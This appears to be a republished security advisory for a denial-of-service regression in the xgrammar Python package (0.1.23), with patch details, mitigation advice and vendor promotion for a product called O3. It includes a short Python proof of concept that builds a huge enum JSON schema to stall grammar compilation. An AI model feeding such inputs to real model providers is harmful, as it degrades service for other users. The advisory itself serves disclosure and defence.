GHSA-9q5r-wfvf-rr7f
xgrammar vulnerable to denial of service by huge enum grammar
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
xgrammarReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))
where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))
Impact
DOS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | xgrammar | ≥ 0.1.23&&< 0.1.24 | 0.1.24 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update xgrammar to 0.1.24 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9q5r-wfvf-rr7f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9q5r-wfvf-rr7f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9q5r-wfvf-rr7f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9q5r-wfvf-rr7f in your dependencies?
O3 detects GHSA-9q5r-wfvf-rr7f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.